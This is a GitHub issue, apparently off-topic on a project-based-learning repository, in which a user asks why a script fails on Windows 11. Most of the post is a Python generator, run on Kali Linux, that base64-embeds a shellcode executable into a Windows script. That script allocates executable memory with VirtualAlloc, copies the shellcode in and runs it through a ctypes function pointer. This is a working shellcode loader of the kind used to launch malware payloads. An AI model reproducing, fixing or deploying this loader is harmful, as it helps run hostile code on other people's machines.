project-based-learning icon indicating copy to clipboard operation
project-based-learning copied to clipboard

i need know why and how to do🥹

Open blodmoning opened this issue 1 year ago • 0 comments

Image_1728134302277

The code running in Kali linux

windows_script.py with open('shellcode.exe', 'rb') as shellcode_file: shellcode = shellcode_file.read()

import base64 encoded_shellcode = base64.b64encode(shellcode).decode('utf-8')

with open('windows_script.py', 'w') as f: f.write(f'''import base64 import ctypes

decoded_shellcode = base64.b64decode("{encoded_shellcode}")

kernel32 = ctypes.windll.kernel32

shellcode_buffer = kernel32.VirtualAlloc( ctypes.c_void_p(None),
len(decoded_shellcode),
0x1000 | 0x2000, # MEM_COMMIT | MEM_RESERVE 0x40 # PAGE_EXECUTE_READWRITE )

if not shellcode_buffer: raise MemoryError("VirtualAlloc failed to allocate memory")

ctypes.memmove(ctypes.c_void_p(shellcode_buffer), decoded_shellcode, len(decoded_shellcode))

shell_func = ctypes.CFUNCTYPE(ctypes.c_void_p)(shellcode_buffer) shell_func() ''') #The error result of the generated. py file running on Win11 is shown in the figure

blodmoning avatar Oct 05 '24 15:10 blodmoning